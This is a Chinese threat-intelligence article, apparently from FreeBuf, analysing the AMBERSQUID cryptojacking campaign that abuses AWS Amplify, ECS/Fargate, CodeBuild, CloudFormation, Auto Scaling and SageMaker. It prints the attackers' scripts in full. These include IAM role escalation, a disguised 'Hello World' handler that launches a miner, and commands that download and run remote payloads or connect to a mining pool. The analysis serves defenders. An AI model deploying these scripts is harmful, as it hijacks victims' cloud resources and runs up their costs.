Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >AMBERSQUID 云原生挖矿恶意软件疑似与印尼黑客有关

AMBERSQUID 云原生挖矿恶意软件疑似与印尼黑客有关

作者头像
FB客服
发布于 2023-10-06 02:05:31
发布于 2023-10-06 02:05:31
38800
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

Sysdig 的研究人员发现了一种新的云原生挖矿攻击行动,并将其命名为 AMBERSQUID。攻击针对不太常用的 AWS 服务,如 AWS Amplify、AWS Fargate 和 Amazon SageMaker。这些不常见的服务往往意味着其安全性也会被忽视,AMBERSQUID 可能会让受害者每天损失超过 1 万美元。

AMBERSQUID 攻击云服务但不会触发 AWS 申请更多资源的请求,与向 EC2 实例发送垃圾邮件类似。针对多个服务的攻击也为受害者带来了更大的挑战,例如在应急响应的时候必须要找到并杀死所有服务中的挖矿程序。

【威胁攻击链】

研究人员通过对超 170 万个 Linux 镜像进行分析,发现了 AMBERSQUID 恶意软件。这些危险的容器镜像在进行静态扫描或者恶意二进制文件分析时,不会触发告警。只有当容器运行时,才能够发现服务中的挖矿进程。2023 年的云威胁报告也指出,仅使用静态扫描会漏掉大概 10% 的恶意镜像。

技术分析

Docker Hub

最初调查的容器是在 Docker Hub 上发现的,但很快扩散到很多其他账户。这些账户中的大多数都是从运行挖矿程序的非常基本的容器镜像开始的,最终转向了 AWS 特定服务。

时间线

第一个账户在 2022 年 5 月创建,一直活跃到 8 月份。攻击者后续使用不同的账户推送带有挖矿程序的镜像,一直到 2023 年 3 月。在创建自己的存储库前,攻击者从流行的 GitHub 存储库下载了挖矿程序,并将其导入到 Docker 镜像中,这使得攻击者的操作更加隐蔽。攻击者的存储库中没有源代码,但提供了用于下载的挖矿程序。这些挖矿程序通常被命名为 test,并且经过定制化的 UPX 加壳,无法轻易脱壳。

【基础时间线】

以下是研究人员发现与攻击有关的 Docker Hub 账户列表,其中一些账户已经弃用,另一些账户仍然活跃。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://hub.docker.com/u/delbidaluan
https://hub.docker.com/u/tegarhuta
https://hub.docker.com/u/rizal91
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/avriliahasanah
https://hub.docker.com/u/buenosjiji662
https://hub.docker.com/u/buenosjiji
https://hub.docker.com/u/dellaagustin582
https://hub.docker.com/u/jotishoop
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/nainasachie
https://hub.docker.com/u/rahmadabdu0
https://hub.docker.com/u/robinrobby754


来自 Docker Hub 的恶意镜像




如果对 delbidaluan/epicx 进行深入挖掘,就可以发现攻击者用于存储 Amplify 应用程序源代码和挖矿脚本的 GitHub 账户。攻击者提供了不同版本的代码,以防止被 GitHub 搜索引擎跟踪。

【GitHub 结果】

例如:

  • delbidaluan/tidex 使用的 toolbar 仓库
  • delbidaluan/ecsx 与 delbidaluan/cpoolx 使用的 romy 仓库
  • delbidaluan/epicx、delbidaluan/zephx 与 delbidaluan/abipdnx 使用的 profile 仓库

在创建 GitHub 账户之前,攻击者使用了没有经过混淆的挖矿程序的二进制文件。研究人员推断,以 x 结尾的镜像会从攻击者的存储库中下载挖矿程序并在启动时运行它们,可以在各种镜像中看到。尤其是 EpiCX 镜像,下载量超过 10 万次。

【镜像列表】

不以 x 结尾的镜像会运行针对 AWS 的脚本。

AWS

以 delbidaluan/epic 为例进行分析,Docker 镜像的入口点是 entrypoint.sh,所有的镜像都一样,区别是可以执行不同的脚本文件。这种情况下,执行会从以下开始:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/bin/bash

aws --version

aws configure set aws_access_key_id $ACCESS
aws configure set aws_secret_access_key $SECRET
aws configure set default.output text

git config --global user.name "GeeksforGeeks"
git config --global user.email "GFGexample@gmail.orgg"

恶意脚本使用环境变量或者在部署镜像时传递参数来设置 AWS 凭据,而 git 相关的代码则取自 GeeksforGeeks。该用户名在 GitHub 上也出现了,但是没有任何行为痕迹。

entrypoint.sh 后还会继续执行以下脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./amplify-role.sh
./repo.sh
./jalan.sh
./update.sh
./ecs.sh
./ulang.sh

角色与权限

容器执行的第一个脚本 amplify-role.sh 会创建 AWSCodeCommit-Role 角色,该角色是攻击者在攻击过程中使用到的多个角色之一。后续也会为其他 AWS 服务创建额外的权限,但第一个获得访问权限的服务是 AWS Amplify,后文将会探讨 Amplify 的具体细节:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws iam create-role --role-name AWSCodeCommit-Role --assume-role-policy-document file://amplify-role.json

(向右滑动,查看更多)

其中 amplify-role.json 为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "amplify.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

随后,恶意软件会将 CodeCommit、CloudWatch 和 Amplify 的完整访问策略增加到该角色中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AWSCodeCommitFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/CloudWatchFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess-Amplify

(向右滑动,查看更多)

还包括一些内联策略:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name amed --policy-document file://amed.json
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name ampad --policy-document file://ampad.json

(向右滑动,查看更多)

这些策略会为所有资源赋予 Amplify 和 amplifybackend 服务的完全权限。

最后,amplify-role.sh 会创建另一个角色 sugo-role。该角色具有对 SageMaker 的完全访问权限,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws iam create-role --role-name sugo-role --assume-role-policy-document file://sugo.json
aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

其中 sugo.json 为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "sagemaker.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

以相同的方式,ecs.sh脚本会创建角色 ecsTaskExecutionRole,该角色具有对 ECS 的完全访问权限(管理权限除外)。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws iam create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://ecsTaskExecutionRole.json
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AmazonECS_FullAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

其中 ecsTaskExecutionRole.json 为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "",
      "Effect": "Allow",
      "Principal": {
        "Service": "ecs-tasks.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

CodeCommit

AWS CodeCommit 是一种高度可扩展、完全托管的源代码控制服务,可以托管私有 Git 存储库。攻击者利用该服务生成私有存储库,将其作为不同服务的源。这可以将攻击行为完全控制在 AWS 内。

repo.sh脚本在每个区域都会创建一个名为 test 的 CodeCommit 存储库。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws configure set region ca-central-1
aws codecommit create-repository --repository-name test

./code.sh

echo "selesai region ca-central-1"
代码语言:javascript
代码运行次数:0
运行
复制

值得注意的是,selesai 在印尼语中意为“完成”。

创建每个应用程序后,就会立即执行,code.sh会通过 git 将 Amplify-app 源代码推送到远程存储库。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd amplify-app
rm -rf .git
git init
git add .
git commit -m "web app"
git branch -m master
git status

git config --global credential.helper '!aws codecommit credential-helper $@'
git config --global credential.UseHttpPath true

git remote remove codecommit
REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
git remote add codecommit $REPO
git push codecommit master --force
(向右滑动,查看更多)

Amplify

AWS Amplify 是一个开发平台,允许开发人员构建和部署可扩展的 Web 应用程序与移动应用程序。它提供了一个框架,用于将应用程序与多个其他 AWS 服务集成,例如用于身份验证的 AWS Cognito、用于 API 的 AWS AppSync 与用于存储的 AWS S3。最重要的是,Amplify 为攻击者提供了对计算资源的访问权限。

一旦攻击者创建了私有存储库,jalan.sh就会在每个区域执行另一个脚本 sup0.sh。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws configure set region us-east-1
./sup0.sh
echo "selesai region us-east-1"

脚本从之前创建的存储库创建 5 个 Amplify Web 应用程序,其中的 amplify-app 目录包含使用 Amplify 运行挖矿程序所需的文件,如下所示。

其中 amplify.yml 如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
version: 1
frontend:
  phases:
    build:
      commands:
        - python3 index.py
        - ./time

  artifacts:
    baseDirectory: /
    files:
      - '**/*'

index.py的内容如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import json
import datetime
import os
import time

os.system("./start")

def handler(event, context):
    data = {
        'output': 'Hello World',
        'timestamp': datetime.datetime.utcnow().isoformat()
    }
    return {'statusCode': 200,
            'body': json.dumps(data),
            'headers': {'Content-Type': 'application/json'}}
(向右滑动,查看更多)

它会运行 start 脚本,该脚本会执行挖矿程序:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nohup bash -c 'for i in {1..99999}; do ./test --disable-gpu --algorithm randomepic --pool 74.50.74.27:4416 --wallet rizal91#amplify-$(echo $(date +%H)) --password kiki311093m=solo -t $(nproc --all) --tls false --cpu-threads-intensity 1 --keep-alive true --log-file meta1.log; done' > program.out 2>&1 &

(向右滑动,查看更多)

test 文件为挖矿程序,为了阻碍分析,经过定制化的 UPX 加壳。VirusTotal 的检出率也很低,遥测的情况相同的文件还有过 SRBMiner-MULTI 的文件名称。这也在 Epic Cash 相关的内容中得到了证实:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./SRBMiner-MULTI --multi-algorithm-job-mode 1 --disable-gpu --algorithm randomepic --pool lt.epicmine.io:3334 --tls true --wallet your_username.worker_name --password your_passwordm=pool --keepalive true

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

分析人员认为攻击者这样做是为了避免从外部进行任何下载,从而避免任何告警。

运行的另一个脚本 amplify.yml 用于在挖矿进程运行时维持尽可能长的时间。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for i in {1..6500000}
do
pgrep -x test;
sleep 3;
done
代码语言:javascript
代码运行次数:0
运行
复制

攻击者使用脚本创建多个 Amplify Web 应用程序,并通过 Amplify Hosting 进行部署。在构建的配置文件中,插入了执行挖矿程序的命令。以下代码是 sup0.sh的一部分:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
IAM=$(aws iam get-role --role-name AWSCodeCommit-Role --query 'Role.Arn'| tr -d '"' 2> /dev/null)

for i in {1..5}
do
aws amplify create-app --name task$i --repository $REPO  --platform WEB  --iam-service-role-arn $IAM --environment-variables '{"_BUILD_TIMEOUT":"480","BUILD_ENV":"prod"}' --enable-branch-auto-build  --enable-branch-auto-deletion  --no-enable-basic-auth \
--build-spec "
version: 1
frontend:
  phases:
    build:
      commands:
        - timeout 280000 python3 index.py

  artifacts:
    baseDirectory: /
    files:
      - '**/*'

" \
--enable-auto-branch-creation --auto-branch-creation-patterns '["*","*/**"]' --auto-branch-creation-config '{"stage": "PRODUCTION",  "enableAutoBuild": true,  "environmentVariables": {" ": " "},"enableBasicAuth": false, "enablePullRequestPreview":false}'

(向右滑动,查看更多)

这是首次发现攻击者滥用 AWS Amplify 进行挖矿。在创建后,攻击者会使用 update.sh更新存储库代码以便再次进行部署。

此外,在来自同一矿池的用户的另一张图片 tegarhuta/ami 中,研究人员发现了在挖矿脚本的同一文件夹中创建 Amplify 应用程序的说明。其中一个 URL 就是 Amplify-app,撰写本文时似乎仍然在运行。

该网站部署于 https://master[.]d19tgz4vpyd5[.]amplifyapp[.]com。

ECS/Fargate

ecs.sh显然是用于在 AWS ECS 服务中进行挖矿的,而 Amazon ECS 是一种用于管理和部署容器编排服务。该脚本创建可从 ECS 任务服务中的 ecsTaskExecutionRole 角色,然后为其增加 AdministratorAccess、AmazonECS_FullAccess 和AmazonECSTaskExecutionRolePolicy 策略。

之后创建一个 ECS 任务,用于启动容器镜像 delbidaluan/epicx。为容器分配 2 核 CPU 与 4 GB 内存,并且通过设置 “”requiresCompatibilities”: [“FARGATE”]” 将其配置在 Fargate 上运行。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws configure set region us-east-1

aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1
sleep 10s
aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1

aws ecs register-task-definition --family test --cli-input-json file://task.json

LIFAR=$(aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538 --query 'Quota.Value')
if [ $LIFAR = "30.0" ];
then
COUNT=30
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"

else
COUNT=6
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"
fi
(向右滑动,查看更多)

根据文档,desiredCount 为保持服务运行指定任务的实例数量。如果服务中运行的任务低于需求,Aamzon ECS 将会在指定的集群中运行该任务的另一个副本。

最终运行 ulang.sh,而 restart.sh脚本只是查看所有 Amplify-app 的任务,如果状态不是 running 与 pending 就重新运行。

CodeBuild

AWS CodeBuild 是一项持续集成(CI)服务,可用于编译、测试源代码并生成可部署的结果文件。创建项目时,用户可以在构建规范中指定构建命令。攻击者就依赖此处运行挖矿程序:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws configure set region ap-south-1
aws codebuild create-project --name tost \
[...]

aws codebuild create-project --name tost1 \
[...]

aws codebuild create-project --name tost2 \
--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test","gitCloneDepth": 1,"gitSubmodulesConfig": {    "fetchSubmodules": false},"buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - python3 index.py\n      - ./time","insecureSsl": false}' \
--source-version refs/heads/master \
--artifacts '{"type": "NO_ARTIFACTS"}' \
--environment '{"type": "LINUX_CONTAINER","image": "aws/codebuild/amazonlinux2-x86_64-standard:4.0","computeType": "BUILD_GENERAL1_LARGE","environmentVariables": [],"privilegedMode": false,"imagePullCredentialsType": "CODEBUILD"}' \
--service-role $ROLE_ARN \
--timeout-in-minutes 480 \
--queued-timeout-in-minutes 480 \
--logs-config '{"cloudWatchLogs": {"status": "ENABLED"},"s3Logs": {"status": "DISABLED","encryptionDisabled": false}}'


aws codebuild start-build --project-name tost1
aws codebuild start-build --project-name tost2
aws codebuild start-build --project-name tost
(向右滑动,查看更多)

攻击者使 index.py在项目开始构建时运行,而 Amplify 则在构建实例内执行恶意代码。此外,攻击者将超时时间设置为 8 个小时,这是 CodeBuild 构建超时等待的最长时间。

CloudFormation

AWS CloudFormation 是一种基础设施即代码服务,允许用户通过模板部署 AWS 与第三方资源。攻击者会创建多个 CloudFormation 堆栈,这些堆栈都是基于自定义 EC2 Image Builder 组件的模板。攻击者输入命令,在镜像的构建阶段运行挖矿程序,与 Dockerfile 中的命令类似。如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Component:
    Type: AWS::ImageBuilder::Component
    Properties:
      Name: HelloWorld-ContainerImage-Component
      Platform: Linux
      Version: 1.0.0
      Description: 'This is a sample component that demonstrates defining the build, validation, and test phases for an image build lifecycle'
      ChangeDescription: 'Initial Version'
      Data: |
        name: Hello World
        description: This is hello world compocat nent doc for Linux.
        schemaVersion: 1.0

        phases:
          - name: build
            steps:
              - name: donStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip
          - name: validate
            steps:
              - name: buildStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo ./start
                    - sudo timeout 48m ./time

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

攻击者还指定了要创建的实例类型:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
BuildInstanceType:
    Type: CommaDelimitedList
    Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"

再使用以下 JSON 文件创建八个 EC2 镜像管道:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "name": "task$i",
    "description": "Builds image",
    "containerRecipeArn": "$CONTAINER",
    "infrastructureConfigurationArn": "$INFRA",
    "distributionConfigurationArn": "$DISTRI",
    "imageTestsConfiguration": {
        "imageTestsEnabled": true,
        "timeoutMinutes": 60
    },
    "schedule": {
        "scheduleExpression": "cron(* 0/1 * * ?)",
        "pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
    },
    "status": "ENABLED"
}
(向右滑动,查看更多)

其中最重要的定时任务的部分,使管道每分钟启动一个新的构建。其 Docker 进项包含之前在真实环境中使用的 JSON 文件之一,并且泄露了 AWS 账户 ID。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    "name": "task8",
    "description": "Builds image",
    "containerRecipeArn": "arn:aws:imagebuilder:us-east-1:909030629651:container-recipe/amazonlinux2-container-recipe/1.0.0",
    "infrastructureConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:infrastructure-configuration/amazonlinux2-containerimage-infrastructure-configuration",
    "distributionConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:distribution-configuration/amazonlinux2-container-distributionconfiguration",
    "imageTestsConfiguration": {
        "imageTestsEnabled": true,
        "timeoutMinutes": 60
    },
    "schedule": {
        "scheduleExpression": "cron(* 0/1 * * ?)",
        "pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
    },
    "status": "ENABLED"
}
(向右滑动,查看更多)

EC2 Auto Scaling

Amazon EC2 Auto Scaling 是一项功能,允许用户使用自己选择的扩展策略添加或删除 EC2 实例来弹性处理计算容量。启动模板可用于定义要部署的 EC2 实例,scale.sh脚本会创建以下 EC2 启动模板:

代码语言:javascript
代码运行次数:0
运行
复制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SCRIPT="c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlIGRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1biAtZCBkZWxiaWRhbHVhbi9lcGljeA=="

AMI=$(aws ec2 describe-images --filters "Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2" --query 'Images[0].ImageId'| tr -d '"' 2> /dev/null)
export AMI
aws ec2 create-launch-template \
    --launch-template-name task \
    --version-description task \
    --launch-template-data '{"ImageId": "'$AMI'","UserData": "'$SCRIPT'","InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192}}}'

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

Amazon Linux 2 的最低要求是 4 核 CPU 与 8GB 内存,插入 UserData 中的 base64 编码脚本中包含运行挖矿程序的 Docker 镜像命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx
代码语言:javascript
代码运行次数:0
运行
复制

(向右滑动,查看更多)

然后脚本会创建名为 task 与 task1 的 Auto Scaling 组,再使用之前的启动模板启动实例,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":100,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":8,"OnDemandPercentageAboveBaseCapacity":100}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task1 --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":0,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":0,"OnDemandPercentageAboveBaseCapacity":0}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'
代码语言:javascript
代码运行次数:0
运行
复制

(向右滑动,查看更多)

SageMaker

Amazon SageMaker 是一个用于构建、训练和部署机器学习模型的平台。用户可以指定在创建或启动实例时运行的 Shell 脚本,这也是攻击者利用其运行挖矿程序的地方。

攻击者运行的 note.sh会创建类型为 ml.t3.medium 的 SageMaker 实例。配置中的 OnStart 字段就是每次启动实例需要运行的 Shell 脚本,其中插入了 base64 编码的命令来运行挖矿程序。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note

(向右滑动,查看更多)

代码语言:javascript
代码运行次数:0
运行
复制

其他脚本

salah 在印尼语中的意思是“错误”,salah.sh会依次运行 delete.sh删除之前创建的所有 CodeCommit 存储库,以及 stoptrigger.sh停止 Glue 触发器。

受害者

分析人员评估了受害者带来的成本,如下所示:

【成本估算表】

默认脚本并未以全功率运行,如果攻击者火力全开会给受害者带来更大的损失。

攻击者

加密货币

钱包地址

估算价值

Zephyr

ZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v

$6,924

Tidecoin

TFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsq

$6,993

Verus

RNu4dQGeFDSPP5iHthijkfnzgxcW2nPde9

$1,916

Monero

89v8xC6Mu2tX27WZKhefTuSnN7f3JMHQSAuoD7ZRe1bV2wfExSTDZe4JwaM4qpjKAoWbAbbnqLBmGCFECiwnXdfSKHt85H3 (2miners)8B7ommXjcEpTAHKFFyci1v5ADrqvEbphhHrzbBfJgvqjecbik7vcLonh8rYSstbBxgD8AccrJYEukDaXZB8ns3kTLiXL8BN (c3pool)837MGitRYxgEV158RDenxVUfb5mN6qzz78Z1WeaDoiqC4K7H8Pj556vHJoVXL2MCJ5WCGVZTBiRmqJFxeJG3WSQmGKhPC31 (nanopool)

$2,506

QRL

Q010500bc3733dbd0576ca26a8595d59b577a4d1e09c019856abfa103b8f08ec0ed36735e0e2f35、Q01050074da7be4fe8216f789041227c08ccbf310617362641336e1f282c398937635a5d3ebbdbf

Bamboo

007DE31E4FD8213FBCE3586A3D2260C962142BBC605BB41C41

结论

AWS 等云服务提供商为其客户提供大量不同的服务,尽管大多数攻击者都针对计算服务进行攻击,但其实其他服务的计算资源也是攻击者所垂涎的。这些服务很容易被忽略,安全可靠性较低。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-10-02 09:30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
11 May 2024 在rosa部署alb和waf
俊采
2024/05/16
1150
基于AWS EKS的K8S实践 - 集群搭建
基于AWS EKS的K8S实践系列文章是基于企业级的实战文章,一些设置信息需要根据公司自身的网络等要求进行设置,如果大家有问题讨论或咨询可以后台私信我或者加入知识星球问我,知识星球的加入方式在文章末尾。
shysh95
2023/08/23
5870
基于AWS EKS的K8S实践 - 集群搭建
MetaHub:一款针对漏洞管理的自动化安全上下文信息扩充与影响评估工具
在该工具的帮助下,广大研究人员可以完善漏洞管理工作流,并根据当前安全上下文来扩充安全分析信息,从而更好地评估安全风险所带来的影响。MetaHub提供了一系列技术方法来枚举、管理和输出我们的安全发现,以更好地对事件进行调查,并于其他工具集成。该工具支持以单独的CLI工具使用,或在自动化工作流中使用。该工具还支持不同的输出,其中包括JSON、HTML、XLSX和CSV。
FB客服
2024/04/30
2660
MetaHub:一款针对漏洞管理的自动化安全上下文信息扩充与影响评估工具
基于AWS EKS的K8S实践 - 如何打通云企业网集群内外服务调用
service 通常用作集群内服务之前的通信,ingress 通常用于暴露给集群外的服务使用。
shysh95
2023/08/23
4220
基于AWS EKS的K8S实践 - 如何打通云企业网集群内外服务调用
创建 EKS 管理员
EKS 管理员不仅需要登录管理控制台,也需要通过 eksctl 管理集群,还需要能够管理 EC2 和 CloudFormation 等资源,所以需要较高的权限。
云云众生s
2024/03/27
1590
Nebula云渗透工具
Nebula是一个云和DevOps渗透测试框架,它为每个提供者和每个功能构建了模块,截至 2021年4月,它仅涵盖AWS,但目前是一个正在进行的项目,有望继续发展以测试GCP、Azure、Kubernetes、Docker或Ansible、Terraform、Chef等自动化引擎
Al1ex
2023/10/28
3920
Nebula云渗透工具
AWS 容器服务的安全实践
随着微服务的设计模式得到越来越多开发者的实践,容器和微服务已经在生产环境中开始了规模化的部署。在这一过程中,也面临着越来越多的挑战。比如说,很多的微服务之间是相互依赖的,我们需要有更多的手段和方式来进行微服务的计划,扩展和资源管理,另外微服务之间的隔离更少,它们通常会共享内核或者网络,也对安全性提出了更高的要求。
我是阳明
2021/06/25
2.8K0
AWS 容器服务的安全实践
资源 | Parris:机器学习算法自动化训练工具
选自GitHub 机器之心编译 参与:刘晓坤、路雪、蒋思源 Parris 是一个自动化训练机器学习算法的工具。如果各位读者经常需要构建并训练机器学习模型,且花费很多时间来设置运行服务器,使用远程登录服务以监控进程等。那么这个工具将对大家十分有帮助,甚至我们都不需要使用 SSH 访问服务器以完成训练。机器之心简要介绍了该工具,更详细的内容请查看该 GitHub 项目。 项目地址:https://github.com/jgreenemi/Parris 安装 我们需要一个 AWS 账户,并将 AWS 证书加载到工
机器之心
2018/05/10
3K0
AWS机器学习初探(1):Comprehend - 自然语言处理服务
Amazon Comprehend 服务利用自然语言处理(NLP)来分析文本。其使用非常简单。
SammyLiu
2019/06/28
2.2K0
AWS机器学习初探(1):Comprehend - 自然语言处理服务
AWS简单搭建使用EKS二
